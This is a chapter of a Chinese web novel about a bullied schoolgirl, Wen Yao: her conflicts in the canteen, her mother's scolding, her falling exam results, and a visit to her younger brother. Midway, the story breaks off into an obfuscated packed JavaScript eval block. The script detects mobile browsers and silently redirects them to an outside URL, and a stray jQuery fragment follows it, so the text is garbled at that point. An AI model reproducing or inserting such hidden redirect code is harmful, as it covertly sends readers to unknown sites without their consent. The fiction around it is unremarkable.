46. 成绩

作品:《小树洞

    温杳不知道自己是怎么在那么多目光的注视下走出食堂的,她只知道,走出食堂的那一刻,外面站着更多的人,温杳下意识的把校服外套的拉链拉开,一阵秋风吹过,冻的她一哆嗦,手又放到了拉链上,犹豫了好久,不知道该不该拉上。


    最终还是没拉上,拉上拉链,那片污渍就会露出来,不知道还要遭受多少人各种各样的目光;不拉上,顶多就是吹吹风,再严重也不过是感个冒,吃两天药。


    温杳突然意识到,她已经变的十分在意别人的目光,不管那些人因为什么而看她,在看她的什么,都会让她感到一阵恐惧,甚至会心跳加速。


    温杳就这样熬过来一个晚上。


    回到家,推开门,温杳终于久违的感受到了温暖,身上的那一股凉意也终于有了消散的迹象。


    她将书包放到沙发上,准备把校服外套脱下来。


    宋绍思看见她外套上的污渍,皱眉道:“温杳,你看看你校服弄的,你一个女孩字,能不能爱干净点,弄成这个样子,简直跟你爸那个窝囊劲一模一样。”


    “你说你为什么就不能学你爸点好的,你就可劲的挑着你爸的缺点学。”


    “我这是今天下午吃饭的时候不小心和一个撞到了才……”


    “你是没长眼睛吗?走路都走不好,你还能干什么?你说你一天天脑子里都想什么呢?走路还能撞到人!”宋绍思指责道。


    温杳低着头,不说话,她不知道该说什么。


    宋绍思又把苏稚和柳雅雅的话重复了一遍,证实了今天下午的事的确是她的错,温杳心里的愧疚感和罪恶感更强。


    是她弄脏了苏稚的衣服,难怪苏稚那么生气,难怪周围的人都用那样的表情看她。


    原本就是她的错。


    温杳在宋绍思骂骂咧咧的声音中将自己的校服外套放进来洗衣机里,然后倒上洗衣液,点击“开始”的按钮,脑子里想的却是明天要不要再去给苏稚道个歉。


    但当第二天温杳看到苏稚时,这个想法暂时的又被压了下去。


    她现在对沈栀婳,柳雅雅,苏稚,张长茉那一群人有一种说不上来的恐惧感,她不敢看她们,不敢和她们说话,甚至不敢听到她们的声音。


    温杳不知道她这是怎么了,但她确实已经变成这样了。


    苏稚正在给班里的其他同学讲昨天下午的事,她的声音很大,似乎完全忽视了另外一位当事人温杳还在现场的事实,甚至她说的话里只有三分真,剩下的七分,全是假,全是她捏造出来的。


    可温杳就只是默默的在那坐着,不说话,也不上去反驳。


    毕竟她是加害者,苏稚是受害者,受害者受了委屈,当然有愤怒和抱怨的权利,怎么向别人倾诉,是受害者自己的权利,加害者没有资格插手。


    一直到许俞和裴逸流进来,苏稚的声音才小了一些,但依然没有停止。


    经过这两天的询问,裴逸流也大概知道了整件事的来龙去脉。


    其实不管沈栀婳的手机到底是不是温杳告到吴红珊面前去的,班里的同学和温杳认识的时间都不长,相比于认识了一年多的沈栀婳,温杳的可信度确实不高,所以只要沈栀婳这么说了,又有柳雅雅,姜礼甜在一旁煽风点火,大家自然而然也就信了,尤其是姜礼甜。


    莫说别人,如果姜礼甜亲口告诉他这事是温杳做的,那他也会信。


    可姜礼甜却迟迟没有来和他说过,让他心里也有些怀疑,毕竟沈栀婳是希望所有人都不相信温杳的,那么姜礼甜就让裴逸流相信这件事最好的办法。


    温杳原以为,昨天下午的事情只是一次偶然,但今天下午在食堂,温杳又“不小心”撞到了沈栀婳,场景和昨天差不多,沈栀婳指责温杳,温杳道歉,然后走出食堂,拉开校服外套的拉链,走回教室,晚上回去依旧被宋绍思一顿责骂,最后再洗校服。


    躺在床上,温杳已经很累了,可她睡不着,她甚至怀疑,今天和昨天是不是重复了?她怎么能连续两天都在食堂,在同一个地方,以同样一种方式撞到了两个不同的人。


    她是要有多蠢才能做到。


    周五的下午,月考成绩出来了,温杳考的一塌糊涂,不能说差,只能说差的没边。


    和她前几次的成绩比,明眼人都能看出来,这是断崖式的下滑。


    尽管温杳已经做好了这次成绩不如意的准备,但真正的拿到分数条的那一刻,她心里还是泛起一阵难过。


    也就是在这一刻,温杳发现,她并不是像自己从前想象的那样不在意成绩的,宋绍思多年来的耳提面命,其实在温杳心里也埋下了一颗希望自己成绩优异的种子,之前,只不过是因为温杳对自己的标准太低了,所以她才感受不到而已。


    最令温杳难过的是那几道语文默写题,她明明记得,她考试的前一天晚上背了,可还是有好几句没写出来,更要命的是,现在卷子就在她手上,可她脑海里还是一片空白。


    不应该是这样的,不应该的,温杳一向引以为傲的记忆,在这一刻,离开了她。


    她真的不记得了,明明上周还能倒背如流的课文,现在,却一句也想不起来。


    温杳不想再看自己的分数条了,她抬头的那一刻,刚好对上吴红珊的眼神。


    不知道为什么,明明站在讲台上和温杳对视的是吴红珊,温杳却好像看见了宋绍思一般,她突然后背发凉,身上却不停的在冒汗,她考成这个样子,她回家后要怎么告诉宋绍思,宋绍思会打死她的。


    还有,之前她和吴红珊说了沈栀婳欺负她的事,为什么都过去这么久了,吴红珊却再也没提起过,为什么?她忘记了吗?还是她也不想管这件事。


    温杳满腹心事之时,吴红珊冷冰冰的声音再次传进她的耳朵:“温杳,你和霍笛换个位置,你坐到何澄光旁边去。”


    何澄光是温杳在和颜晴熙坐同桌之前最后一个待她友好,相处时间较长的同桌。


    那天放学后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787292|168130||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,温杳没有直接回家。


    她坐了快两个小时的公交,去南临一中找她哥,温时远。


    温时远比温杳大两岁,今年上高一,虽然他年龄不大,但温时远是书香世家出身,家里教育的好,从小就很明事理,温杳很想问问他,关于吴红珊的事,她认为,温时远能帮她解答疑惑。


    南临一中对学生管的严,高中部不顾是高一高二,还是高三,周六都要上课,周五并不能算是放假。


    温杳来到南临一中时,一中已经放学了,门口到处都是学生。


    她正想着,这么多人,该去哪找温时远呢?却看到了让她选择离开的一幕。


    温时远就站在学校门口的告示牌处,如果他的身边现在没有姜礼甜,温杳一定会跑过去抱着他哭,给他倾诉委屈。


    可好巧不巧,他旁边站着姜礼甜。


    她怎么会在这?她和温时远认识?他们很熟吗?


    又一个求救的希望当着她的面被打破了。


    温杳自认还是比较了解温时远的,他这人,性格沉默寡言,不爱说话,长了一副好皮囊,但就是不爱和人交流,和长的不漂亮但嘴巴总是闲不下来的温杳完全是两个不同极端的人。


    也许就是因为性格太反差的原因,温杳和温时远没有那么亲近。


    但温杳心里还是很喜欢这个哥哥的,毕竟温时远长的是真的帅,一般逢年过节,两家见面,温杳总会在他面前絮絮叨叨的说很多话,温时远也很有耐心,每次都放下手机听她说,说多久他都不会烦。


    温时远的朋友不多,这么多年,温杳也就只知道一个,还只听过名字,从来也没见过。他的微信好友除了家里人不过十个外人,姜礼甜能和他作朋友,也是挺难得的。


    可为什么这么巧,为什么要让她看见呢?为什么要让她知道?


    温杳轻笑了一声,不知道在笑什么,她没有过去,转头走了。


    找温时远的计划临时变成了找温砚。


    温杳和温砚一起坐在一家名叫“心悦甜品店”的蛋糕店里。


    温砚一边吃着盘子里的草莓蛋糕,一边催促温杳:“姐,你怎么不吃?你快吃啊,我跟你说,这家蛋糕店的草莓蛋糕特别好吃,我很早之前就想带你来尝尝了,正好今天有机会,你快尝尝。”


    温杳确实爱吃甜食,但她现在看着眼前的草莓蛋糕,却一点食欲也没有,拿起来的叉子又放了下去,反反复复的好几次,为了不让温砚担心,温杳最后还是吃了一小口。


    “对了,姐,你怎么在这?你不会是特意来找我的吧?”温砚嘴里塞得满满的,含糊的问道。


    “不是。”温杳摇摇头:“考试没考好,想出来转转,正好走到一中,就想着来看看你。”


    温杳可以对着年龄比自己大的哥哥倾诉委屈,却无法当着一个年龄比自己小的弟弟的面哭出来。


    他比自己还小,他不能帮她解决问题,万一弄不好,再把他掺和进来,就麻烦了。